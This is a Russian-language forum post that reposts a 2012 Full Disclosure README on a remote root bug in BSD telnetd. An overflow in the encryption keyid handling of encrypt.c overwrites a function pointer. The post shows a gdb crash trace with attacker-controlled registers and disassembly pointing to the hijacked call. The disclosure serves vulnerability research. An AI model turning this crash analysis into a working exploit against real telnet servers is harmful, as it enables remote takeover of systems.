Показать сообщение отдельно
Старый 02.07.2012, 07:49   #10
nobody
 
Аватар для nobody
 
Регистрация: 05.07.2010
Сообщений: 176
Репутация: 130
По умолчанию

Оригинал: http://seclists.org/fulldisclosure/2012/Jun/404 (Зеркало архива)

Код:
$ cat README.txt 
ancient bsd remote root zeroday (encryption keyid overflow)
Discovered & Exploited by Kingcope
Year 2011
--

We overwrite function pointer.

encrypt.c last commit (freebsd):
Wed Jun 26 17:06:14 2002 UTC (8 years, 9 months ago) by markm
and even older bug :>

attached telnetd:
Program received signal SIGSEGV, Segmentation fault.
0x08055b22 in encrypt_keyid (kp=0x805e6a0, keyid=0x8061f02 'A' <repeats 100 times>, "���", len=100) at 
/usr/src/lib/libtelnet/../../contrib/telnet/libtelnet/encrypt.c:724
warning: Source file is more recent than executable.

724             if (!(ep = (*kp->getcrypt)(*kp->modep))) {
(gdb) i r
eax            0x41414141       1094795585
ecx            0x64     100
edx            0x41414141       1094795585
ebx            0xbfbfec78       -1077941128
esp            0xbfbfe770       0xbfbfe770
ebp            0xbfbfe798       0xbfbfe798
esi            0x1      1
edi            0xbfbfec80       -1077941120
eip            0x8055b22        0x8055b22
eflags         0x10282  66178
cs             0x33     51
ss             0x3b     59
ds             0x3b     59
es             0x3b     59
fs             0x3b     59
gs             0x1b     27
(gdb) x/10i $eip
0x8055b22 <encrypt_keyid+34>:   mov    (%eax),%eax
0x8055b24 <encrypt_keyid+36>:   mov    %eax,(%esp)
0x8055b27 <encrypt_keyid+39>:   call   *%edx                <---- HAHA
__________________
Sad panda
nobody вне форума   Ответить с цитированием